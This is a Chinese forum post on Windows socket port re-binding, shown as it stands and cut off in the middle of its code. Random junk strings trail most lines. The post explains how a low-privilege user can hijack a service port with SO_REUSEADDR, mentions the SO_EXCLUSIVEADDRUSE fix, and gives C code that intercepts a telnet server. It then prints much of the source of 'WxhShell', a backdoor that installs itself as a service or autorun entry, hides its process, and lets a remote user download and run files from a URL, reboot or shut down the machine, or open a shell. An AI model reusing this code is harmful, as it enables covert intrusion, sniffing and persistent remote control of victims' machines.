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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^C%<l( b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mV m Gg,  
!o-@&q  
  saddr.sin_family = AF_INET; $ulOp;~A%  
.sA.C] f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'ig'cRD6N  
hzC>~Ub5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PRT +mT  
{:W$LWET  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t:c.LFrF  
-.3w^D"l  
  这意味着什么?意味着可以进行如下的攻击: "I TIhnE  
lRdChoL$2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6zn5UW#q  
'H!XUtFs"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FgI3   
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?hM64jI|  
/Q )\+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j~QwV='S  
Qei" '~1a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \di=  
R GX=)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c"xK`%e  
\(T /O~b2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $7uA%|\  
u-C)v*#L  
  #include s<o7!!c  
  #include iyog`s c  
  #include 39jG8zr=Z[  
  #include    TB^$1C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w*MpX U<  
  int main() Ca3~/KrM  
  { X 8`Sf>  
  WORD wVersionRequested; ]:\dPw`A  
  DWORD ret; .x1NWGDn  
  WSADATA wsaData; KY N0  
  BOOL val; IIqUZJ  
  SOCKADDR_IN saddr; D sWS Gb  
  SOCKADDR_IN scaddr; Q5_o/wk  
  int err; l NBL4yM  
  SOCKET s; M#[{>6>iE  
  SOCKET sc; 6`-jPR  
  int caddsize; JMM W  
  HANDLE mt; [fIg{Q  
  DWORD tid;    7[wieYj{  
  wVersionRequested = MAKEWORD( 2, 2 ); yCX?!E;La  
  err = WSAStartup( wVersionRequested, &wsaData ); ,v&(YOd  
  if ( err != 0 ) { 4Z,!zFS$`  
  printf("error!WSAStartup failed!\n"); _-Fs# f8  
  return -1;  f V(J|  
  } YnP5i#"  
  saddr.sin_family = AF_INET; cs'{5!i]  
   4'Zp-k?5`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OUXR  
V470C@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +t;7tQDVB  
  saddr.sin_port = htons(23); e~':(/%|5;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "wHFN>5B  
  { D#)b+7N-  
  printf("error!socket failed!\n"); E+JqWR5  
  return -1; d^6M9lGU  
  } tRfo$4#NY  
  val = TRUE; 1!gbTeVlY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /H==Hm/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *WT`o>  
  { AzxXB  
  printf("error!setsockopt failed!\n"); ofv)SCjd  
  return -1; tnG# IU *  
  } pHJ3nHLQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E@3aI Axh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Tu7QCr5*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r>U@3%0&  
JO< wU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XSl GE9]AG  
  { bY0|N[ g  
  ret=GetLastError(); puM3g|n@  
  printf("error!bind failed!\n"); RdML3E  
  return -1; ;d9QAN&0}  
  } '08=yqy4N  
  listen(s,2); I 2|Bg,e  
  while(1) ^v`\x5"Vp  
  { r$~HfskeI  
  caddsize = sizeof(scaddr); 6i~WcAs  
  //接受连接请求 [zM-^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ez=Olbk  
  if(sc!=INVALID_SOCKET) # 4PVVu<  
  { ZJ[ ??=Gz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d<N:[Y\4l  
  if(mt==NULL) aAA U{EWW  
  { C 6AUNRpl  
  printf("Thread Creat Failed!\n"); y;H-m>*%  
  break; iW /}#  
  } ox (%5c)b|  
  } &IB|rw'9  
  CloseHandle(mt); {,~3.5u   
  } /gkX38  
  closesocket(s); igR";OQk  
  WSACleanup(); w)Qp?k d  
  return 0; j^2wb+`  
  }   /RC7"QzL  
  DWORD WINAPI ClientThread(LPVOID lpParam) >&5DsV.B  
  { ]wG{!0pl  
  SOCKET ss = (SOCKET)lpParam; NPe%F+X  
  SOCKET sc; 4Wm@W E  
  unsigned char buf[4096]; Tyf`j,=  
  SOCKADDR_IN saddr; Eg3q!J&Z  
  long num; C-[eaHJ'$  
  DWORD val; 'ub@]ru|  
  DWORD ret; w=J3=T@TD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :A'y+MnK<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ';=O 0)u  
  saddr.sin_family = AF_INET; '(L7;+E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e;}7G  
  saddr.sin_port = htons(23); .UY^oR=b{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KNIn:K^/  
  { )f<z% :I+Z  
  printf("error!socket failed!\n"); u^qT2Ss0  
  return -1; ah+iZ}E%  
  } wx0j(:B]  
  val = 100; X*@dj_,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _t #k,;  
  { o$lM$E:  
  ret = GetLastError(); _8_R 1s  
  return -1; Ge-vWf-RbB  
  } ? '{SX9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @7j AL-  
  { v<(  
  ret = GetLastError(); VZmLS 4E  
  return -1; @'!SN\?W8  
  } <T|3`#o0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l&Q`wR5e  
  { EGF '"L  
  printf("error!socket connect failed!\n"); W+ko q*P  
  closesocket(sc); oEKvl3Hz_  
  closesocket(ss); =w 2**$  
  return -1; l#Y,R 0  
  } xRLT=.ir  
  while(1) D2B%0sfl~  
  { k5.Lna  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X))/ m[_[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <s<n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KEjWRwN  
  num = recv(ss,buf,4096,0); O5nD+qTQ#  
  if(num>0) .MoU1n{Yc  
  send(sc,buf,num,0); RO/FF<f  
  else if(num==0) GH:jH]u!V  
  break; {go;C}  
  num = recv(sc,buf,4096,0); '^~{@~ ;%L  
  if(num>0) 65$+{s  
  send(ss,buf,num,0); nwRc%C``UK  
  else if(num==0) V7fq4O^:  
  break; "Nbq#w\  
  } 8(&[Rs?K  
  closesocket(ss); /zVOK4BqN+  
  closesocket(sc); %%gc2s  
  return 0 ; .jT#:_  
  } 9c,'k#k  
N.{H,oO `  
Jgd'1'FOs  
========================================================== e_ANUll1  
8_B4?` k  
下边附上一个代码,,WXhSHELL ;dZZ;#k%  
Mc_YPR:C  
========================================================== 9u}Hmb  
lbl?k5  
#include "stdafx.h" Q%tXQP.r  
W^LY'ypT  
#include <stdio.h> o 5uph=Q{  
#include <string.h> Ep3N&Imp  
#include <windows.h> [H^z-6x:0  
#include <winsock2.h> 9oR@U W1  
#include <winsvc.h> ;1O_M9  
#include <urlmon.h> tKx~1-  
gS]@I0y8 .  
#pragma comment (lib, "Ws2_32.lib") ZWU)\}}_R  
#pragma comment (lib, "urlmon.lib") n QZwC  
O#~yKqB  
#define MAX_USER   100 // 最大客户端连接数 /quc}"__  
#define BUF_SOCK   200 // sock buffer gANuBWh8T  
#define KEY_BUFF   255 // 输入 buffer  J^5So  
]]9R mh=  
#define REBOOT     0   // 重启 <~'"<HwtK  
#define SHUTDOWN   1   // 关机 f:|1_j  
u^bidd6JRn  
#define DEF_PORT   5000 // 监听端口 QIvVcfM^  
~{B7 k:  
#define REG_LEN     16   // 注册表键长度 QP8Ei~  
#define SVC_LEN     80   // NT服务名长度 j9 4=hJVKi  
?; +1)>{  
// 从dll定义API +LZLy9iKt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z] P SpUd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A) %/[GD2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OXSmt DvJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q#ClnG*  
m^f0V2M_  
// wxhshell配置信息 xH(lm2kvT  
struct WSCFG { Tx=-Bb~;  
  int ws_port;         // 监听端口 #Z`q+@@ ]A  
  char ws_passstr[REG_LEN]; // 口令 OSWYGnZg  
  int ws_autoins;       // 安装标记, 1=yes 0=no ith 3 =`3  
  char ws_regname[REG_LEN]; // 注册表键名 [OV"}<V  
  char ws_svcname[REG_LEN]; // 服务名 tI TS1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H*&f:mfq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;I 9&]   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EZy)A$|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QP^Cx=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l7259Ro~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]&xk30  
(vPN5F  
}; _jI,)sr4ic  
)oDHeU<&  
// default Wxhshell configuration z Rl3KjET  
struct WSCFG wscfg={DEF_PORT, '}JhzKNj  
    "xuhuanlingzhe", X!Mx5fg  
    1, B=yqW  
    "Wxhshell", N^ds RYC  
    "Wxhshell", V>)OpvoT#  
            "WxhShell Service", t?ZI".>  
    "Wrsky Windows CmdShell Service", V b4#,  
    "Please Input Your Password: ", YEs&  
  1, Y1OkkcPb{  
  "http://www.wrsky.com/wxhshell.exe", }QcCS2)Ud  
  "Wxhshell.exe" KL:j?.0  
    }; X_ cV%#  
{M$1N5Eh  
// 消息定义模块 !M]uL&:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z(exA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $L>@Ed<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BNl5!X^{  
char *msg_ws_ext="\n\rExit."; c74.< @w  
char *msg_ws_end="\n\rQuit."; 6C^ D#.S  
char *msg_ws_boot="\n\rReboot..."; m )zUU  
char *msg_ws_poff="\n\rShutdown..."; -MO#]K3<  
char *msg_ws_down="\n\rSave to "; ./k/KSR  
@ ZwvBH  
char *msg_ws_err="\n\rErr!"; =wHVsdNCN  
char *msg_ws_ok="\n\rOK!"; Zq|I,l0+E  
t#/YN.@r  
char ExeFile[MAX_PATH]; !t %j?\f  
int nUser = 0; VT%NO'0  
HANDLE handles[MAX_USER]; trA4R/ &  
int OsIsNt; :P\7iW  
Ic:(Gi- %  
SERVICE_STATUS       serviceStatus; ,I$`-$_'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; el<s8:lA  
WZejp}x  
// 函数声明 e7r -R3_  
int Install(void); 9ni1f{k  
int Uninstall(void);  $s c  
int DownloadFile(char *sURL, SOCKET wsh); dA`IEQJL  
int Boot(int flag); 3!Ij;$  
void HideProc(void); gQelD6c  
int GetOsVer(void); [0[i5'K:  
int Wxhshell(SOCKET wsl); H8^(GUhyp  
void TalkWithClient(void *cs); eRstD>r  
int CmdShell(SOCKET sock); uk]$#TV*q>  
int StartFromService(void); ua Gk6S  
int StartWxhshell(LPSTR lpCmdLine); Mzw<{*:r  
cAqLE\h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vq0Tk bzs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2dcV"lY  
 E`0?  
// 数据结构和表定义 UA0Bzoky;  
SERVICE_TABLE_ENTRY DispatchTable[] = 9y8&9<#  
{ ]z;I _-  
{wscfg.ws_svcname, NTServiceMain}, qQ/^@3tXL  
{NULL, NULL} #7 $ H  
}; )VS=E7[  
/P3 <"?#k  
// 自我安装 R)( T^V`{  
int Install(void) :WS@=sZN  
{ B =T'5&  
  char svExeFile[MAX_PATH]; >`mVY=H i  
  HKEY key; L>&t|T2  
  strcpy(svExeFile,ExeFile); D~fl JR  
b-?gw64#  
// 如果是win9x系统,修改注册表设为自启动 sPQQ"|wU  
if(!OsIsNt) { [{,T.;'<j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Apag{Z]^B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L>NL:68yN  
  RegCloseKey(key); 9r<J"%*Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "]x'PI 4J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5iw<>9X*  
  RegCloseKey(key); fLD, 5SN  
  return 0; ~i{(<.he  
    }  c(E{6g?  
  } v2\FA(BPn  
} )Y0!~# `  
else { (ejvF):|  
&|ex`nwc0  
// 如果是NT以上系统,安装为系统服务 y0.'?6k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z}9(x.I  
if (schSCManager!=0) w"|L:8  
{ 1..+F0U  
  SC_HANDLE schService = CreateService a=1@*ID  
  ( NC`aP0S  
  schSCManager, nFe<w  
  wscfg.ws_svcname, q=m'^ ,gPS  
  wscfg.ws_svcdisp, oj<gD  
  SERVICE_ALL_ACCESS, $am$ EU?s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t!X. |`h  
  SERVICE_AUTO_START, :zbQD8jv  
  SERVICE_ERROR_NORMAL, Hqx-~hQO  
  svExeFile, mzKiO_g}  
  NULL, hJ? O],4J  
  NULL, 9(7-{,c  
  NULL, _p/UsJ  
  NULL, aEWWP]  
  NULL 1Z2HUzqh.  
  ); t+ G#{n  
  if (schService!=0) A#<?4&  
  { (Q!}9K3  
  CloseServiceHandle(schService); .},'~NM]  
  CloseServiceHandle(schSCManager); 7`Ak) F:V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h0f;F@I  
  strcat(svExeFile,wscfg.ws_svcname); ~?Pw& K2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6OIte -c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eA?RK.e  
  RegCloseKey(key); fu ,}1Mq#  
  return 0; qkY:3Ozw  
    } :#ik. D  
  } ~P,lz!he_  
  CloseServiceHandle(schSCManager); ,HV(l+k {|  
} 0<@KG8@hI;  
} Yn Mvl  
<w9JRpFY  
return 1; XJ\DVZ  
} ncdKj}  
(OL4Ex']  
// 自我卸载 MK~8}x2K  
int Uninstall(void) $6 9&O  
{ %E>Aw>] v  
  HKEY key; wo/\]5  
 KC6.Fr{  
if(!OsIsNt) { [kB7@o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UHkMn  
  RegDeleteValue(key,wscfg.ws_regname); M h}m;NI  
  RegCloseKey(key); gO-  _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pa3{8x{9m  
  RegDeleteValue(key,wscfg.ws_regname); QO~P7r|A  
  RegCloseKey(key); 7U"g3 a)=  
  return 0; 2- h{N  
  } q:0N<$63  
} 783,s_  
} >\#*P'y`d  
else { *n ]GsOOn  
C2I_%nU Z1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p%Vt#?q  
if (schSCManager!=0) tw/dD +  
{ ,^< R{{{-A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P|E| $)m  
  if (schService!=0)  8q!]y6  
  { ZvX*t)VjTz  
  if(DeleteService(schService)!=0) { *OsQ}onv  
  CloseServiceHandle(schService); _6hQ %hv8  
  CloseServiceHandle(schSCManager); G j?t_Zln  
  return 0; 'GWN~5  
  } |aS.a&vwR  
  CloseServiceHandle(schService); .! 3|&V'<  
  } P3=G1=47U  
  CloseServiceHandle(schSCManager); RSRS wkC  
} {\1?ZrCI&  
} \?-<4Bc@  
Hzz %3}E  
return 1; yx[/|nZDC4  
} '<)n8{3Q5w  
eC4[AX6e  
// 从指定url下载文件 8kIksy  
int DownloadFile(char *sURL, SOCKET wsh) U< fGGCw  
{ r Z$O?K  
  HRESULT hr; Of#u  
char seps[]= "/"; +TL%-On  
char *token; pah'>dAL  
char *file; K@]4g49A/j  
char myURL[MAX_PATH]; T&bY a`f]  
char myFILE[MAX_PATH]; Dml;#'IF3  
#:_Kws>+  
strcpy(myURL,sURL); _;y9$"A  
  token=strtok(myURL,seps); Dx?,=~W9  
  while(token!=NULL) LonxT&"!D  
  { Bk c4TO  
    file=token; i&fuSk EP  
  token=strtok(NULL,seps); uH^-R_tQ  
  }  8dA~\a  
vI >w e  
GetCurrentDirectory(MAX_PATH,myFILE);  K5h  
strcat(myFILE, "\\"); *?vCC+c  
strcat(myFILE, file); H%td hu\e  
  send(wsh,myFILE,strlen(myFILE),0); (%6P0*  
send(wsh,"...",3,0); g$-PR37(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9.-S(ZO  
  if(hr==S_OK) C{rcs'  
return 0; ~ .g@hS8>  
else zC!t;*8a  
return 1; q?yVR3]M  
 <kqo^  
} tDcT%D {:  
ED gag  
// 系统电源模块 (?c"$|^J  
int Boot(int flag) FVKTbvYn  
{ dZ@63a>>@  
  HANDLE hToken; {JT&w6Jz  
  TOKEN_PRIVILEGES tkp; f8dB-FlMm  
Zu[su>\  
  if(OsIsNt) { 6nvz8f3*r]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yj49t_$b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qyTU8Wp  
    tkp.PrivilegeCount = 1; 03Ycf'W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (L&d!$,Dv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bI1N@=  
if(flag==REBOOT) { {!L~@r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9Y9GwL]T  
  return 0; :5<UkN)R(  
} #;yZ  
else { =; Ff4aF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N4!O.POP  
  return 0; x 9fip-  
} P= NDS2  
  } -Q*gW2KmV  
  else { O^ yG?b  
if(flag==REBOOT) { 24eLB? H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l ymCH  
  return 0; Y:[u1~a  
} u*`GiZAO  
else { 8l rpve  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #X1ND  
  return 0; <bWG!ZG  
} TvbE2Q;/UL  
} /J;Kn]5e  
TC*g|d @b  
return 1; #*Ctwl,T  
} VTE .^EK!  
;e*!S}C,  
// win9x进程隐藏模块 7!E,V:bt'  
void HideProc(void) } q8ASYNc  
{ ~]2K ^bh8&  
5rik7a)Z]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?e 4/p  
  if ( hKernel != NULL ) 5\ nAeP  
  { 7kE n \  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  \4fQMG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c^W)07-X5y  
    FreeLibrary(hKernel); a:w#s}bL  
  } &^jXEz;  
%.|@]!C  
return; Km$\:Xo  
} 9%9#_?RW  
bk[!8- b/a  
// 获取操作系统版本 NzvXN1_%  
int GetOsVer(void) k<?b(&`J  
{ dy[X3jQB  
  OSVERSIONINFO winfo; (sZ"iGn%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6'f;-2  
  GetVersionEx(&winfo); ckCE1e>s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J|73.&B  
  return 1; >hIu2jm  
  else &};zvo~P.  
  return 0; +N U G  
} abVmkdP_s  
eHUOU>&P]  
// 客户端句柄模块 K[YyBE id  
int Wxhshell(SOCKET wsl) ~D>p0+-c  
{ !4+<<(B=E  
  SOCKET wsh; 'I;zJ`Trd  
  struct sockaddr_in client; $XH^~i;  
  DWORD myID; Eu3E-K@y  
");a3hD  
  while(nUser<MAX_USER) `R^gU]Z,  
{ $6IJ P\  
  int nSize=sizeof(client); Nh +H9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5z)~\;[ -  
  if(wsh==INVALID_SOCKET) return 1; }Q+|W=2t  
JBZ@'8eqi]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [:*)XeRK  
if(handles[nUser]==0) _+MJ%'>S  
  closesocket(wsh); GM<9p_ B  
else _Fg5A7or  
  nUser++; Y'X%Aw;`  
  } T)_hpt.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >H ,*H;6  
BiBOr}ZQ  
  return 0; 9M c ae 31  
} _yR^*}xJb  
K3uRs{l|  
// 关闭 socket u*9V&>o  
void CloseIt(SOCKET wsh) a 1*p*dM#  
{ ,a? o aPH  
closesocket(wsh); veECfR;  
nUser--; 47/iF97  
ExitThread(0); tZo} ;|~'  
} '|=;^Z7.K  
zm;C\s rF  
// 客户端请求句柄 GC'O[q+  
void TalkWithClient(void *cs) 2X&qE}%k S  
{ [2cD:JL  
_@/8gPT*i  
  SOCKET wsh=(SOCKET)cs; j] [,J49L  
  char pwd[SVC_LEN]; q@2siI~W  
  char cmd[KEY_BUFF]; f*8DCh!r"  
char chr[1]; /Z4et'Lo  
int i,j; Dvln/SBk  
 !}$$:  
  while (nUser < MAX_USER) { TD_Oo-+\  
Wc 'H  
if(wscfg.ws_passstr) { Etm?'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g9F?z2^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #`s"WnP9'!  
  //ZeroMemory(pwd,KEY_BUFF); poFg 1  
      i=0; ybUaTD@?}b  
  while(i<SVC_LEN) { 4B][S'f  
P!k{u^$L  
  // 设置超时 5@W j>:w  
  fd_set FdRead; kG*~ |ma  
  struct timeval TimeOut; NGWxN8P6  
  FD_ZERO(&FdRead); / XIhj  
  FD_SET(wsh,&FdRead); +ck}l2&#  
  TimeOut.tv_sec=8; .N(p=9  
  TimeOut.tv_usec=0; bZV/l4TU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %8x#rohP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *{{89E>wC  
vvOV2n .WD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9nbLg5P  
  pwd=chr[0]; TS5Q1+hWHV  
  if(chr[0]==0xd || chr[0]==0xa) { &+R?_Ooibk  
  pwd=0; ehY5!D1Q  
  break; [0 e_*  
  } [ikOb8 G#  
  i++; xId.GWY1  
    } KK &?gTa  
A5w6]:f2  
  // 如果是非法用户,关闭 socket gZ1?G-Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bN@ l?w  
} NaCy@  
`9.r`&T6K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H>@+om  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nFs(?Rv*  
_J[P[(ab  
while(1) { ;A!BVq  
@s^-.z  
  ZeroMemory(cmd,KEY_BUFF); #3d(M  
7VI*N)OZ8  
      // 自动支持客户端 telnet标准   @\I#^X5lv  
  j=0; 8Q+36!  
  while(j<KEY_BUFF) { -Y;3I00(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VLN_w$iEq  
  cmd[j]=chr[0]; e?f IXk~b  
  if(chr[0]==0xa || chr[0]==0xd) { #R RRu2  
  cmd[j]=0; >lM l  
  break; &jr3B;g!C  
  } KY] C6kh  
  j++; Om {'1  
    } dC4'{ n|7  
y*h<MQ  
  // 下载文件 6S\8$  
  if(strstr(cmd,"http://")) { Y[S1$(K&*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >@AB<$ A  
  if(DownloadFile(cmd,wsh)) RCLeA=/N@0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{wEzM :  
  else M& CqSd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \5cpFj5%  
  } n{SJ_S#a.a  
  else { A. w:h;7  
vVcob }ZH  
    switch(cmd[0]) { ei5~&  
  4nz35BLr  
  // 帮助 z&^&K}  
  case '?': { k-""_WJ~^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C"]^Q)aJN  
    break; sUm'  
  } W+1^4::+  
  // 安装 r!{Up7uL  
  case 'i': { FU<Jp3<%  
    if(Install()) 7vj2 `+r.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dGTsc/$  
    else :p6M=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O<W_fx8_'  
    break; -s'-eQF J  
    } ?P c'C  
  // 卸载 pFz`}?c0  
  case 'r': { !$>R j  
    if(Uninstall()) j$5LN.8J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eKqk= (  
    else EAby?51+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F1Bq$*'N$w  
    break; y L~W.H  
    } -1@<=jX3_  
  // 显示 wxhshell 所在路径 $ o#V#  
  case 'p': { b\+`e b8_  
    char svExeFile[MAX_PATH]; [;sRV<  
    strcpy(svExeFile,"\n\r"); HiJE}V;Vq  
      strcat(svExeFile,ExeFile); $7A8/#  
        send(wsh,svExeFile,strlen(svExeFile),0); 7i1q wRv  
    break; J!7MZL b  
    } |IUWF%~^$+  
  // 重启 U|j`e5)  
  case 'b': { "8zDbdK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^L&iR0  
    if(Boot(REBOOT)) , SnSW-P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ib791  
    else { zs#@jv$  
    closesocket(wsh); <yg F(  
    ExitThread(0); &XUiKnNW  
    } tIS<U(N ;  
    break; QnX(V[  
    } *EwR!L*  
  // 关机 0S$N05  
  case 'd': { =zs`#-^8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t9IW/Q  
    if(Boot(SHUTDOWN)) 57'4ljvYi  
